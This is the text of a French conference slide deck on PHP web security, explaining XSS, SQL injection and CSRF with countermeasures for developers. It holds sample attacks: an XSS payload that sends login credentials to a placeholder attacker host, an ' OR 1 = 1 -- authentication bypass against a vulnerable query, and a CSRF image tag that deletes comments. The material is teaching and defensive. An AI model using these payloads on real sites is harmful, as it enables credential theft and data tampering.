Conférence #nwxtech5 : Selenium WebDriver 2 par Romain Louvet
Conférence #nwxtech2 : Sécurité web/PHP par Maxime Mauchaussée
1. Introduction à la Sécurité des
Applications Web / PHP
Principes de bases Maxime Mauchaussée
XSS
Injection SQL
maxime@wixiweb.fr
CSRF
@maximemdotnet
http://www.wixiweb.fr
@wixiweb
2. Plan
Principes de bases de sécurisations
Failles de type XSS
Définition
Exemples / Exploitation
Contremesures
Failles de type SQL Injection
Définition
Exemples / Exploitation
Contremesures
Failles de type CSRF
Définition
Exemples / Exploitation
Contremesures
Conclusion
3. Principes de bases
Ne jamais faire confiance aux données ne provenant pas de
votre propre code
Paramètres d'URL, cookies, données de formulaire, etc.
API, fichier d'import, base de données, etc.
Variables d'environnement (user agent, referer, host, etc.)
Éviter de permettre la saisie de balises HTML
L'utilisation de la balise <img> doit être extrêmement encadrée
Interdire l'utilisation des attributs dangereux tels que « style » et
« onload »
Ne jamais minimiser l'importance d'une faille
Toutes failles peut potentiellement être un jour exploitée
Corriger le plus rapidement possible toute faille découverte
4. Failles de type XSS Définition
XSS : Cross Site Scripting
Le principe est d'injecter des données arbitraires dans un
site web [...] Si ces données arrivent telles quelles dans la page
web transmise au navigateur sans avoir été vérifiées, alors il
existe une faille [Wikipedia]
Injection de code HTML ou Javascript
Le contenu injecté est utilisé pour pièger un utilisateur
8. Failles de type XSS – Exploitations
Dégradation de l'image / la réputation du site
Redirection automatique
Initialisation de téléchargement de fichiers vérolés
Vol d'identifiants
Détournement de session (hijacking)
Fixation de session
9. Failles de type XSS – Exemples d'exploit
Détournement de l'attribut « action » du formulaire
d'authentification par injection :
"/><script>document.forms[0].action='http://attaquant.fr/owned.php
';</script><"
Les utilisateurs enverront leurs identifiants vers le scripts défini
par l'attaquant
Possibilité de redirection (parfois transparente) vers la page
légitime
10. Failles de type XSS – Contremesures
Filtrer / nettoyer les données en entrée :
Toute donnée a un format : longueur, bornes, etc.
filter_var() ou filter_input()
strip_tags() en second choix
Ne pas autoriser la saisie de balises HTML
Et en sortie :
htmlspecialchars()
11. Failles de type SQL Injection Définition
Injection SQL
Terme qui désigne l'interprétation imprévue d'un code SQL
dans une application. Ce code a été introduit par une voie
détournée. [CERTA]
13. Failles de type SQL Injection – Exemple
Code PHP :
mysql_query("SELECT id, login, profil FROM user WHERE login = '" .
$_POST['login'] . "' AND password = '" . $_POST['password'] .
"';");
Données saisies dans le champ « login » :
' OR 1 = 1 --
Interpretation de la requête SQL par PHP :
SELECT id, login, profil FROM user WHERE login = '' OR 1 = 1 --'
AND password = ''
14. Failles de type SQL Injection Exploitation
Cette technique permet, [...] à un utilisateur malveillant de
modifier la base de données, ou accéder à des informations qui
ne lui sont pas destinées. [CERTA]
Privilege escalation – augmentation de droit d'accès
Vols de données
Destruction de données
Injection de code malveillant
15. Failles de type SQL Injection – Contremesures
addslashes()
SELECT id, login, profil FROM user WHERE login = '' OR 1 = 1 --'
AND password = ''
mysql_real_escape_string()
Requêtes préparées
Requêtes préparées > mysql_real_escape_string > addslashes
Ne pas utiliser le compte SQL « root » pour votre application
16. Failles de type CSRF Définition
CrossSite Request Forgery
Injection de requêtes illégitimes par rebond [CERTA]
Attaque provoquant l'envoi de requêtes par la victime, vers un
site vulnérable, à son insu et en son nom. [CERTA]
N'exploite pas forcément l'absence de validation
18. Failles de type CSRF – Exemple
Un lien est fournit pour supprimer un de ses commentaires :
http://sitemalfichu.fr/delete_comment?id=2
Prédiction de l'identifiant du commentaire de la victime par
l'attaquant :
http://sitemalfichu.fr/delete_comment?id=1
Insertion d'une balise image dans un commentaire par
l'attaquant :
<img src="http://sitemalfichu.fr/delete_comment?id=1" />
Au chargement de la page par la victime, elle supprime son
commentaire
19. Failles de type CSRF – Exploitation
Suppression de données : message, compte utilisateur, etc.
Publication de messages : désinformation, spam, virus, etc.
Changement de mot de passe
Changement d'adresse email
Triche à des concours ou sondages
20. Failles de type CSRF – Contremesures
Utiliser la méthode HTTP POST
Bannir l'utilisation de $_REQUEST
Mettre en place un système de tokens pour les actions les
plus sensibles
Interdire la possibilité de saisie de balises HTML
21. Conclusion
Ne jamais faire confiance aux données ne provenant pas de
votre propre code
Toute donnée a un format : longeur, bornes, volume, etc.
Toujours filtrer / nettoyer ces données en entrée et en sortie
Corriger les failles le plus rapidement possible
La sécurité des applications web ne s'arrête pas là :
configuration de PHP, du serveur web, de l'infrastructure
réseau, etc.
22. Questions Réponses
Exemples de questions si vous n'avez pas d'idée :
Comment détecter de telles failles dans mon application ?
Pouvezvous citer d'autres exemples d'attaques XSS / CSRF ?
Quelles autres bonne pratiques peut on appliquer pour sécuriser des
application web ?
Qu'est ce qu'une « blind sql injection » ?
Où trouvez des informations complémentaires à ce sujet ?
Existetil d'autres types de failles ?